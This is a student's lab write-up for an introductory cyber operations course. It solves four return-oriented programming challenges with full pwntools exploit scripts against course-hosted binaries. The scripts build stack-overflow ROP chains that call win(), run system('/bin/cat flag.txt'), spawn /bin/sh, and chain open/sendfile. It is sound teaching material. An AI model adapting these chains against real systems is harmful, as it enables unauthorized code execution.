Lab #5: Binary Exploitation II (ROP)
CSE 3801 : Introduction to Cyber Operations
Team: Tyler Dionne

Challenge 1:
Provided files: ret2win, ret2win.c
Upon analyzing ret2win.c we can see that there is a function named ‘win’ that displays the flag but it is not called during normal program execution.
To complete this challenge we must overwrite the return address stored in RSP with the address of the win function.
To do this we first have to find the offset to RSP by sending a large cyclic to the program and then observing the value stored in RSP using GDB. Then using the command cyclic -l “value” we can find the offset.
After this we can get the address of the win function from the symbol table in the binary and construct our ROP chain in the following format: [padding + address of win].
Solution:

```
from pwn import *
binary = args.BIN
context.terminal = ["tmux", "splitw", "-h"]
e = context.binary = ELF(binary)
r = ROP(e)

gs = '''
continue
'''

def start():
  if args.GDB:
    return gdb.debug(e.path, gdbscript=gs)
  elif args.REMOTE:
    return remote("cse3801-rop-100.chals.io", 443, ssl=True,
sni="cse3801-rop-100.chals.io")
  else:
    return process(e.path)

p = start()
'''
x = cyclic(500)
p.recvuntil("Would you like to win (Y|N) >>> ")
p.sendline(x)
p.interactive()

'''
padding = b'A' * 16
chain = padding
chain += p64(e.sym['win'])
p.recvuntil("Would you like to win (Y|N) >>> ")
p.sendline(chain)
response = p.recvall().decode()
print(response)
p.interactive()
```

Challenge 2:
Provided files: ret2system, ret2system.c
Upon analyzing ret2system.c we can see that there is no win function that displays the flag but we can see that there is a string "/bin/cat flag.txt" as well as the system() command present. We can use these pieces to construct a malicious command to display the flag via our ROP chain.
The first step is to find the offset to RSP using the same process discussed in the previous challenge.
Once the offset is found we then must find the address of the string "/bin/cat flag.txt" in the binary. We can do this using radare2 via the command $ r2 -c "izz | grep flag" ret2system.
We then must find a pop rdi; ret; gadget in order to populate the RDI register with the command we would like to execute. This is because in the fastcall calling convention arguments are passed via registers and RDI is the first argument to a function. We can find this gadget using the command $ ropper -f ret2system | grep rdi.
Once we have this information we need the address to system which we can do using sym.['system'].
We then will set up our ROP chain in the following format: [padding + pop rdi; ret; + address of command + address of system] or in other words system(RDI="/bin/cat flag.txt").
Solution:

```
from pwn import *
binary = args.BIN
context.terminal = ["tmux", "splitw", "-h"]
e = context.binary = ELF(binary)
r = ROP(e)

gs = '''
continue
'''

def start():
  if args.GDB:
    return gdb.debug(e.path, gdbscript=gs)
  elif args.REMOTE:
    return remote("cse3801-rop-200.chals.io", 443, ssl=True,
sni="cse3801-rop-200.chals.io")
  else:
    return process(e.path)

p = start()
'''
```

```
x = cyclic(500)
p.recvuntil("Would you like to win (Y|N) >>> ")
p.sendline(x)
p.interactive()

'''
padding = b'A'*40
chain = padding
chain += p64(0x40127b) # pop rdi ret
chain += p64(0x402029) # address of /bin/cat flag.txt
chain += p64(e.sym['system']) # address of system command
p.recvuntil("Would you like to win (Y|N) >>> ")
p.sendline(chain)
response = p.recvall().decode()
print(response)
p.interactive()
```

Challenge 3:
Provided files: write2win, write2win.c
Upon analyzing write2win.c we can see that we do not have a win function that displays the flag and we do not have any string preset that will help us display the flag either. The only thing we do see is that we have system().
The goal of this challenge is to write a string/command we want to execute to memory and then use system to execute that string/command.
The first step is to find the offset to RSP using the same process discussed in the first challenge.
The next step is to find a writable region of memory. We can do this using radare2 via the following commands $ r2 write2win > aaa > iS. This will allow us to see that the .data segment is a writable region of memory (Note it is not the only one but the one I will be using).
We then must find gadgets that will allow us to write our string to memory. Using ropper -f write2win we find a pop r12 pop r13 pop r14 pop r15; ret; gadget and a mov[r12], r13. We can use these gadgets to write a string to memory.
Given that we want to gain access to the system and display the flag we want to write a string to memory that will help us do this. In this challenge we will write '/bin/sh\0' which will allow us to get a shell and display the flag.
One additional piece of information we need is a plain ret; gadget because of the fact that the system() command will cause a movaps error if the stack is not 16 byte aligned. By adding a ret right before the call to system we can achieve a 16 byte aligned stack by adding an additional 8 bytes. We can find this gadget using the command $ ropper -f write2win and grabbing the very last gadget listed.
We will also need a pop rdi; ret; gadget to populate RDI with the string we write to memory. We can do this using the ropper command discussed in the previous problem.
We can now construct our ROP chain in the following format: [pop r12 pop r13 pop r14 pop r15; ret + r12 = writable memory + r13 = /bin/sh + r14 = 0 + r15 = 0 + mov[r12], r13 + pop rdi; ret; + writable memory + ret for alignment + address of system()]
Solution:

```
from pwn import *
binary = args.BIN
context.terminal = ["tmux", "splitw", "-h"]
e = context.binary = ELF(binary)
r = ROP(e)

gs = '''
continue
'''

def start():
  if args.GDB:
    return gdb.debug(e.path, gdbscript=gs)
  elif args.REMOTE:
    return remote("cse3801-rop-300.chals.io", 443, ssl=True,
sni="cse3801-rop-300.chals.io")
  else:
    return process(e.path)

p = start()
'''
x = cyclic(500)
p.recvuntil("Would you like to win (Y|N) >>> ")
p.sendline(x)
p.interactive()

'''
pad = b'A'*10
chain = pad
chain += p64(0x401274) #gadget addr pop r12; pop r13; pop r14; pop
r15; ret;
chain += p64(0x404040) #r12 = writable mem
chain += b'/bin/sh\0' #r13 = command to execute
chain += p64(0x0) #unused r14
chain += p64(0x0) #unused r15
chain += p64(0x4011ad) #mov[r12], r13 addr
chain += p64(0x40127b) #pop rdi ret gadget addr
chain += p64(0x404040) #rdi = writable region of memory
chain += p64(0x401016) #ret gadget for alignment
chain += p64(e.sym['system']) # system("/bin/sh")
p.recvuntil("Would you like to win (Y|N) >>> ")
p.sendline(chain)
pause()
p.sendline(b'cat flag.txt')
#response = p.recvall().decode()
```

```
#print(response)
p.interactive()
```

Challenge 4:
Provided files: rop2win, rop2win.c
Upon analyzing rop2win.c we can see that there is no win function, no system(), and no flag.txt string in the file.
The goal of this challenge is to write flag.txt to memory, call open() and then call sendfile().
The first step is to find the offset to RSP using the same process discussed in the first challenge.
The next step is to write the string ‘flag.txt’ to memory using a process similar to the one in the previous problem. This will be used to call open(“flag.txt”,0) and get a file descriptor. We are provided with the information that __data_start is a writable region of memory. We can use ropper to find gadgets that will allow us to write this string to memory. We find a pop r14 pop r15; ret; gadget as well as a mov[r15], r14 which will allow us to achieve our goal.
We then must set the arguments to the open function. The first two arguments to a function in the fastcall calling convention are RDI and RSI so we must find gadgets that allow us to set the values of these registers. Using ropper we find a pop rdi; ret; and a pop rsi; pop rdx; pop rcx; ret; which will help us set RDI=writeable memory and RSI = 0 to call open(“flag.txt”, 0).
We then must call sendfile() using a similar method. Using the same two gadgets we must set the four arguments to sendfile which are RDI, RSI, RDX, RCX. We know the arguments should be sendfile(1, open("flag.txt", 0), 0, 0x64).
Since we did not store the file descriptor after calling open, knowing that the challenge is hosted on a docker container we can simply try the script with a few different file descriptors (1,2,3) and we see that 3 ends up working.
Solution:

```
from pwn import *
binary = args.BIN
context.terminal = ["tmux", "splitw", "-h"]
e = context.binary = ELF(binary)
r = ROP(e)

gs = '''
continue
'''

def start():
    if args.GDB:
        return gdb.debug(e.path, gdbscript=gs)
    elif args.REMOTE:
        return remote("cse3801-rop-1000.chals.io", 443, ssl=True,
sni="cse3801-rop-1000.chals.io")
    else:
        return process(e.path)
```

```
p = start()
'''
x = cyclic(500)
p.recvuntil("Would you like to win (Y|N) >>> ")
p.sendline(x)
p.interactive()

'''
writeable_mem = e.sym['__data_start']
padding = b'A'*24
chain = padding

# writeable_mem -> flag.txt
chain += p64(0x4012b8) # pop r14 pop r15; ret;
chain += b'flag.txt' # r14 = flag.txt
chain += p64(writeable_mem) # r15 = writeable_mem
chain += p64(0x4011bd) # mov qword ptr [r15], r14

# open("flag.txt", 0)
chain += p64(0x4012bb) # pop rdi; ret;
chain += p64(writeable_mem) # RDI = flag.txt
chain += p64(0x4011c8) # pop rsi; pop rdx; pop rcx; ret;
chain += p64(0x0) # RSI = 0
chain += p64(0x0) # RDX = 0
chain += p64(0x0) # RCX = 0
chain += p64(0x401070) # open(flag.txt, 0)

# sendfile(1, open("flag.txt", 0), 0, 0x64)
chain += p64(0x4012bb) # pop rdi; ret;
chain += p64(0x1) # RDI = 1
chain += p64(0x4011c8) # pop rsi; pop rdx; pop rcx; ret;
chain += p64(0x3) # RSI = fd = open("flag.txt", 0)
chain += p64(0x0) # RDX = 0
chain += p64(0x64) # RCX = 0x64
chain += p64(0x401060) # address for sendfile

p.recvuntil("Would you like to win (Y|N) >>> ")
p.sendline(chain)

response = p.recvall().decode()
print(response)

p.interactive()
```